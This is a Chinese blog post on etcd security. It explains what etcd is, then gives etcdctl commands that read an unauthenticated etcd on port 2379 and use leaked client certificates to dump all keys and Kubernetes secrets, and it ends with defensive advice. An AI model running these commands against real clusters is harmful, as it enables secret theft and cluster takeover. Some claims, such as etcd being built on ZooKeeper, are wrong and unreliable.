当前位置: 首页 > news >正文

云安全—etcd攻击面

0x00 前言

本篇还是一样,先来说一说etcd是什么,干啥的,然后再来看看etcd的攻击面到底有哪些,做一个抛砖引玉的作用,如有不妥之处还请斧正

0x01 etcd

依旧还是按照问问题的方式来进行阐述,因为学到的东西终归还是要能讲出来才能更加的了解和深入。

  • 什么是etcd
  • etcd的特点是什么
  • 和redis的区别
  • etcd作用的场景
  • etcd和zookeeper的区别
  • etcd版本区别

1.什么是etcd

etcd是一个可靠的kv存储系统,常用于在分布式系统中存储数据,是一个采用go语言开发的开源的系统。

2. etcd的特点是什么

  • 简单,提供面向客户的API
  • 安全,SSL认证
  • 性能,支持1w+/sec写入
  • 可靠,采用Raft协议保证分布式系统数据的可用性和一致性。

Raft是一种分布式一致性协议,相对于Pasox而言更加简单,都旨在解决分布式系统中的数据一致性和高可用性的问题

3.etcd和redis的区别

etcd主要应用场景在于可靠,也就是一致性,redis主要是在于读取性能。

4.etcd的作用场景

  • 分布式场景
  • 服务注册和发现
  • 消息发布和订阅

5.etcd和zookeeper的区别

实际上可以这样理解etcd的原理是基于zookeeper进行实现的,保证了良好的一致性,才让etcd在分布式系统中出人头地~

6.etcd版本区别

在 etcd v2 版本中,客户端采用的是 HTTP+JSON 的方式与 Server 端进行交互。

在 etcd v3 版本中,客户端采用的是 GRPC 的方式与 Server 端进行交互,GRPC是一种效率高于rest接口的接口对接方式,但是对于浏览器的适配度不高,直接客户端到服务端进行交互。gRPC 由于其 protoc 编译器而具有原生代码生成功能,该编译器与多种编程语言兼容。这对于集成了以不同语言和平台开发的各种服务的微服务系统来说尤其方便。

0x02 攻击面

etcd默认端口是2379和2380,2379端口主要是用来http接口通信,2380是和和 peer 通信,这里的peer是raft节点的代表,按照字面理解的话实际上就是内部通信使用的节点。

通常情况下会使用密钥对peer.key和peer.cert来保护etcd成员之间的通信。那么攻击面就出来了。

1.3379端口外网开放+client-cert-auth未授权

虽然外网开放,但是外网开放也是需要权限才可以进行访问的。所以这里需要搭配client-cert-auth未授权来进行利用。

配置文件:/etc/kubernetes/manifests/etcd.yaml
首先注释掉client-cert-auth=true这一行,然后将https改为http。

在这里插入图片描述

这里直接访问2379端口

在这里插入图片描述

工具操作下载地址:https://github.com/etcd-io/etcd/releases/

利用方式:

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix

在这里插入图片描述

指定输出的格式–write-out=“json”

在这里插入图片描述

获取所有的数据

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix --write-out="json" --write-out="json" > dump.txt

获取secrets

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / --prefix --keys-only | grep /secrets/
在这里插入图片描述

获取证书,这里获取到证书和token就相当于是已经拿下了k8s master,相当于整个k8s已经整个沦陷了。

在这里插入图片描述

2.client-cert-auth泄露

泄露的方式有两种,一种是泄露,还有一种就是被人窃取留作后门,泄露的方式多种多样,管理面的以及技术面的,存在任意文件下载,或者读取漏洞等都可能会造成证书的遗失。

利用方式如下:

etcdctl.exe --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.247.156:2379/ --cacert=ca.crt --key=healthcheck-client.key --cert=healthcheck-client.crt endpoint health

其他的利用方式和未授权是一致的。

0x03 防护面

需要做的还是策略向的,比如检查端口是否外网开放,或者是内部开放,最好的还是谁用谁申请,申请后才可以进行使用。

证书的保护机制同密码保护,谁用谁申请,能原地生成就原地生成,使用完之后立刻删除,最好有行为检测,可以通过AI模型计算是否处于异常的使用状态,或者是针对执行的内容进行防护,正常运维很少会使用到一些命令或者操作,如果出现就可以进行标点标记,进行观察以便最快速度进行阻断或者预防。

其实这个点同时可以作为蜜罐,诱导攻击者获取指定权限,从而监控后续操作。

以上。

http://www.lryc.cn/news/218887.html

相关文章:

  • 类锁和实例对象锁你分清了吗?
  • 如何在麒麟上安装 ONLYOFFICE 桌面编辑器
  • 记录:如何编写linux驱动,用module的方式
  • 3款免费又好用的 Docker 可视化管理工具
  • C语言--判断一个年份是否是闰年(详解)
  • Python---排序算法
  • gitlab Blocking and unblocking users
  • Swift 和 Python 两种语言中带关联信息错误(异常)类型的比较
  • 北京联通iptv组播配置
  • C++ STL 迭代器失效
  • 麒麟KYLINIOS软件仓库搭建02-软件仓库添加新的软件包
  • 专业媒体播放软件Movist Pro中文
  • 数据结构-邻接表广度优先搜索(C语言版)
  • Py之auto-gptq:auto-gptq的简介、安装、使用方法之详细攻略
  • 【Linux】Linux+Nginx部署项目(负载均衡动静分离)
  • C++笔记之vector的成员函数swap()和data()
  • Linux centos环境 安装谷歌浏览器
  • go-gin-vue3-elementPlus带参手动上传文件
  • 艺术的维度:洞察AI诈骗,优雅防范之艺术
  • JavaScript的作用域和作用域链
  • 电脑文件批量重命名攻略:高效操作技巧助您轻松完成任务
  • 四、三种基本程序结构
  • 深入理解元素的高度、行高、行盒和vertical-align
  • 什么叫储能能量管理单元EMU?储能能量管理单元EMU功能?储能EMU是什么?储能能量管理系统如何实现一次调频AGC-AVC功能?
  • 机器学习之决策树
  • 聊聊logback的UNDEFINED_PROPERTY
  • 记一次pdjs时安装glob出现,npm ERR! code ETARGET和npm ERR! code ELIFECYCLE
  • Zabbix如何监控腾讯云NAT网关
  • SpringBoot案例(数据层、业务层、表现层)
  • 交叉编译程序:以 freetype 为例